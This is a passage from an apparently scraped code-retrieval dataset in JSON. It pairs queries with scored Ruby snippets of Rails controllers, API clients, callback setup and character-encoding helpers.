\"Retrieved items by bib id #{id} from scsb\", result\n\n result['searchResultRows']\n end", "title": "" }, { "docid": "dc61253c179d569d8b07347693b98ef6", "score": "0.53378904", "text": "def ongoing_plates_search_uuid\n search_action(\n :description => 'plates search',\n :model => 'plate',\n :criteria => {:id => item_ids}\n ).call[:uuid] \n end", "title": "" }, { "docid": "afa607c1d7d3bd7a9ade021044f57a00", "score": "0.5337408", "text": "def search\n # [issue #41] replace possessive apostroph-s with just s; e.g. \"Bear's Ramen House\"\n query = params[:q].to_s.strip.gsub(/'s\\b/, \"s\")\n if query.present?\n current_city = City.includes(:sub_cities).find(params[:city_id])\n fb_search_options = {\n center: current_city.fb_center,\n access_token: current_user.fb_search_token\n }\n results = FbGraph::Place.search(query, fb_search_options).map do |place|\n if current_city.acceptable_fb_place?(place) && place.location.street != \"\" && place.location.city != \"\"\n {id: place.identifier, name: place.name, address: place.location.street, city: place.location.city, url: place.fetch.picture}\n end\n end.compact\n else\n results = []\n end\n\n render :json => results.to_json\n end", "title": "" }, { "docid": "d8c02076e88e0bbddc3c3955311f92b8", "score": "0.53345126", "text": "def find_item(number)\n search_result = @api[\"items\"].get accept: :json, params: {search: number}\n items = JSON.parse(search_result.body)\n return nil if items.empty?\n\n this_id = items[0][\"id\"]\n JSON.parse(@api[\"items/#{this_id}\"].get(accept: :json))\n end", "title": "" }, { "docid": "62958054046cbee7773092b5aac75e67", "score": "0.5327078", "text": "def update_counties_and_cities\n unless ( params[:get].blank? || params[:val].blank? )\n if ( params[:get].to_s == 'counties' )\n @items = Country.find(params[:val]).counties\n elsif( params[:get].to_s == 'cities' )\n @items = County.find(params[:val]).cities\n end\n end\n \n response = []\n \n unless ( @items.blank? )\n for item in @items do\n response << {:When => params[:val], :Value => item.id, :Text => item.name}\n end\n end\n \n render({:json => response, :layout => false})\n end", "title": "" }, { "docid": "e47fe33e8a16cbbdbe8a09c4bee649a2", "score": "0.5316675", "text": "def breweries_by_city\n city_input = nil\n puts \"Please enter the name of the city you would like to filter by:\"\n city_input = gets.strip.downcase.split.map{|word| word.capitalize}.join(' ')\n \n @last_search = BrewerySearch::Brewery.find_by_city(city_input)\n\n puts \"Displaying results:\"\n @last_search.each.with_index {|brewery, index| puts \"#{index + 1}. #{brewery.name} -- #{brewery.city}, #{brewery.state} -- #{brewery.type != \"\" ? brewery.type : \"N/A\" }\"}\n\n self.menu\n end", "title": "" }, { "docid": "d628dd135b3f9c2f34c509b27cc05123", "score": "0.53166634", "text": "def query_items(options={}) path = \"/api/v2/items\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "2e4e427270e60733003eb9ecff2e767a", "score": "0.5313203", "text": "def get(id)\n # Have to use different API endpoint, can't do a fielded search.\n url = base_url + \"volumes/#{CGI.escape id}\"\n\n if configuration.api_key\n url += \"?key=#{configuration.api_key}\"\n end\n\n response = http_client.get( url )\n\n if response.status == 404\n raise BentoSearch::NotFound.new(\"ID: #{id}\")\n end\n\n # GBS has switched to returning a 503 for bad id's???\n # Prob a bug on Google's end, but we have to deal with it.\n if response.status == 503\n raise BentoSearch::NotFound.new(\"ID: #{id} (503 error from Google, tests show indicates not found ID however)\")\n end\n\n json = MultiJson.load( response.body )\n\n if json[\"error\"]\n raise Exception.new(\"Error in get(#{id}): #{json['error'].inspect}\")\n end\n\n return hash_to_item(json)\n end", "title": "" }, { "docid": "3066229cb1ded05b9b8b914f2f156219", "score": "0.53130203", "text": "def search\n query = params[:q]\n\t opts = {:pg => 1,\t:pgLen => 10, :where => \"Toronto\", :what => query, :UID => 1, :apikey => \"kdsu6xxqva28eu9zvpcpqfba\" }\n\t\tresult = open(\"http://api.sandbox.yellowapi.com/FindBusiness/?fmt=JSON&\" + opts.map{|k,v| \"#{CGI.escape(k.to_s)}=#{CGI.escape(v.to_s)}\" }.join(\"&\")).read\n\t\tresponse.content_type = Mime::JSON\n render :text => result\n end", "title": "" }, { "docid": "bc288c97d90487a0e61376a41f0c6c88", "score": "0.53114736", "text": "def getItemById\n itemId = params['itemId']\n if itemId != nil\n code, item = Item.getItemById(params [:itemId])\n if code != 200\n render json:{error: \"ERROR: Unable to find item id. #{itemId}\"},\n status: 404\n return itemId = Item[:itemId]\n end\n if item[:stockQty] <= 0\n render json:{error: \"Item is not in stock.\"},\n status: 400\n return\n end\n end\n orders = @order.where(itemId: itemId)\n render json: orders, status: 200\n \n end", "title": "" }, { "docid": "a29b0c88c04189a2aa92835e3dc05be6", "score": "0.5307908", "text": "def index\n @items = Inventory.by_dataset(@key.app_dataset_id) || []\n\n respond_to do |format|\n format.html { render layout: false }\n format.json { render json: {success: true, items: @items } }\n end\n end", "title": "" }, { "docid": "03faa64bc97d86fe2c5ddf1243445179", "score": "0.5306378", "text": "def search_expense\n @items = Item.active.search(params[:term]).limit(20)\n\n render json: ItemSerializer.new.expense(@items)\n end", "title": "" }, { "docid": "78aeda8404aa94061d67fecde9c36425", "score": "0.53061163", "text": "def show\n \n @city = PostalCity.find(params[:state_id],params[:name])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @city }\n end\n end", "title": "" }, { "docid": "7907968bb460592b695005ac57d2feae", "score": "0.5302034", "text": "def call(estate_city, estate_street, estate_building_number)\n scoped = initial_scope\n filter(scoped, estate_city, estate_street, estate_building_number)\n end", "title": "" }, { "docid": "f38d8960fe2a5a72742719c288a7331e", "score": "0.53006023", "text": "def search\n if params[:keyword] && params[:keyword] != \"\"\n @cities = City.where(name: params[:keyword])\n else\n @cities = City.all.order(\"id DESC\")\n end\n end", "title": "" }, { "docid": "1aa63144b5f1094a567617746b09b76d", "score": "0.5296444", "text": "def get_items\n render json: current_user.items.where(flag: params[:bill_type_id])\n end", "title": "" }, { "docid": "81326f67ca249c460fd93d37c7607e3d", "score": "0.5290402", "text": "def api_request_city_weather(host, city, key)\n require 'net/http'\n require 'net/https'\n require 'open-uri'\n require 'json'\n \n url_weather = host + 'weather?q=' + city + '&appid=' + key\n \n uri = URI.parse(url_weather)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n \n response = http.request(request)\n \n content = JSON.parse(response.body)\n \n return content\n \n end", "title": "" }, { "docid": "8dbd644d2c3b9e003ec046960cb2cae4", "score": "0.5281655", "text": "def weather_for(city)\n owm.get \"/data/2.5/weather?q=#{URI.encode(city)}\"\nend", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "bfc56d9b95ee79c153cc841ccf85f2f6", "score": "0.0", "text": "def set_ideology\n @ideology = Ideology.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163821", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6045432", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5945441", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.5916224", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58894575", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.5834073", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.57764685", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5702474", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5702474", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5653258", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.56211996", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54235053", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410683", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410683", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410683", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53948104", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.5378064", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5356684", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53400385", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53399503", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53312254", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53121567", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.52971965", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52964705", "text": "def setup_handler\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.52956307", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52587366", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52450675", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237777", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237777", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237777", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237777", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237777", "text": "def action; end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.5233381", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.52325714", "text": "def workflow\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.52288216", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52229726", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.5218362", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.52142864", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.5207988", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.5206337", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.51762295", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51745105", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51728606", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.516616", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5161016", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.5157393", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.5152562", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51524293", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152397", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.5144533", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.513982", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.51342106", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5113793", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5113793", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5113671", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51092553", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.51062804", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.50921935", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.5088855", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5082236", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.5079901", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.5066569", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.5055307", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5053106", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50499666", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50499666", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5035068", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.50258636", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.50220853", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015893", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50134486", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5001442", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.50005543", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4998581", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.49901858", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.49901858", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.4986648", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49809486", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49792925", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.4978855", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49685496", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.49656174", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.49576473", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49563017", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4955349", "text": "def around_hooks; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.49536878", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.4952439", "text": "def save_action; end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49460214", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.494239", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49334687", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49315962", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49266812", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49261138", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.4925925", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4922542", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.4920779", "text": "def advice\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49173284", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49169463", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.4916256", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.49162322", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49156886", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" } ]
a0da0d25052b592da0567b46fb55cd47
Returns string indicating which file (and line) contains the transliteration value for the character
[ { "docid": "e38e6da3f2e26e937ac0cb7938d74c86", "score": "0.5474096", "text": "def in_yaml_file(character)\n unpacked = character.unpack(\"U\")[0]\n \"#{code_group(unpacked)}.yml (line #{grouped_point(unpacked) + 2})\"\n end", "title": "" } ]
[ { "docid": "49c7ca4d63a04342bf2fc32b4700fd74", "score": "0.61978257", "text": "def getCharImgLoc(char)\n \"#{font_path}/cm_#{char}.png\"\n\t\tend", "title": "" }, { "docid": "c47fe01c7865ec03b06dc21a5dd3a5b3", "score": "0.5960669", "text": "def untitled_file_name()\n return \"ללא שם\"\n end", "title": "" }, { "docid": "e2e702db89d7954ff98e44e24768a32a", "score": "0.5952911", "text": "def find_enoding\n scmdlog = `file -I #{@file_name}`.strip\n scmdlog[/charset=(.+?)$/, 1]\n end", "title": "" }, { "docid": "ac9dc37e7e8b3bdc14c76c3c16ca1cb6", "score": "0.5673355", "text": "def get_language_filename( source, use_locale = false )\n before_substring = source.slice(0,(source.rindex(\".\") ))\n after_substring = source.slice(source.rindex(\".\"), (source.size - before_substring.size) )\n if use_locale\n return \"#{before_substring}-#{GettextLocalize.locale.to_s}#{after_substring}\"\n else\n return \"#{before_substring}-#{GettextLocalize.locale.to_s[0,2]}#{after_substring}\"\n end\n end", "title": "" }, { "docid": "9296492c2802bed22b40bb744a14d2e0", "score": "0.56144387", "text": "def get_code_for(i)\n if i.is_a?(String)\n c = i[0]\n else\n c = i\n end\n\n return @remap_chars[c.chr] || c.chr\n end", "title": "" }, { "docid": "d8dbed145ada87f7b6e91c21d2be58c8", "score": "0.55668116", "text": "def lex_en_character=(_arg0); end", "title": "" }, { "docid": "ef03c6657671b8caeaa4ee847d50f6ba", "score": "0.5547751", "text": "def çς\n \"Magnitude\"\n end", "title": "" }, { "docid": "d0ce8fd03b1e6e8052af1f8495435d68", "score": "0.55123115", "text": "def get_alt_codes_of(character)\n [\"+#{get_utf16_of character}\", \"#{get_cp850_of character}\", \"#{get_windows_1252_of character}\"].reject(&:empty?)\nend", "title": "" }, { "docid": "7a132d0a17abb6c083ea7fc5c4e9e155", "score": "0.5510158", "text": "def character_location\n ((@cr[5] ^ 0x08) & 0x08) << 12 | (@cr[5] & 0x07) << 10\n end", "title": "" }, { "docid": "2705d64fdca2a3a0ecc9d7e41f6dfd25", "score": "0.5500288", "text": "def filename(name)\n # Reemplaza letras con acentos y ñ\n filename = name.gsub('á','a').gsub('é','e').gsub('í','i').gsub('ó','o').gsub('ú','u').gsub('ñ','n').downcase\n return filename\nend", "title": "" }, { "docid": "bdc6bcff90de58a35b57b9f3bffa3da9", "score": "0.5494722", "text": "def file_language_by_file_extension s_file_path, msgcs\n if KIBUVITS_b_DEBUG\n bn=binding()\n kibuvits_typecheck bn, String, s_file_path\n kibuvits_typecheck bn, Kibuvits_msgc_stack, msgcs\n end # if\n ar_tokens=Kibuvits_str.ar_bisect(s_file_path.reverse, '.')\n s_file_extension=ar_tokens[0].reverse.downcase\n s_file_language=\"undetermined\"\n case s_file_extension\n when \"js\"\n s_file_language=\"JavaScript\"\n when \"rb\"\n s_file_language=\"Ruby\"\n when \"php\"\n s_file_language=\"PHP\"\n when \"h\"\n s_file_language=\"C\"\n when \"hpp\"\n s_file_language=\"C++\"\n when \"c\"\n s_file_language=\"C\"\n when \"cpp\"\n s_file_language=\"C++\"\n when \"hs\"\n s_file_language=\"Haskell\"\n when \"java\"\n s_file_language=\"Java\"\n when \"scala\"\n s_file_language=\"Scala\"\n when \"html\"\n s_file_language=\"HTML\"\n when \"xml\"\n s_file_language=\"XML\"\n when \"bash\"\n s_file_language=\"Bash\"\n else\n msgcs.cre \"Either the file extension is not supported or \"+\n \"the file extension extraction failed.\\n\"+\n \"File extension candidate is: \"+s_file_extension, 1.to_s\n msgcs.last[\"Estonian\"]=\"Faililaiend on kas toetamata või ei õnnestunud \"+\n \"faililaiendit eraldada. \\n\"+\n \"Faililaiendi kandidaat on:\"+s_file_extension\n end # case\n return s_file_language\n end", "title": "" }, { "docid": "5377de223144b7478a1c41537f29d8a3", "score": "0.54594094", "text": "def line_char_to_offset(text, line, character); end", "title": "" }, { "docid": "76ffc58651c3329536557da3381c34db", "score": "0.54543436", "text": "def in_yaml_file(character)\n unpacked = character.unpack(\"U\")[0]\n \"#{code_group(unpacked)}.yml (line #{grouped_point(unpacked) + 2})\"\n end", "title": "" }, { "docid": 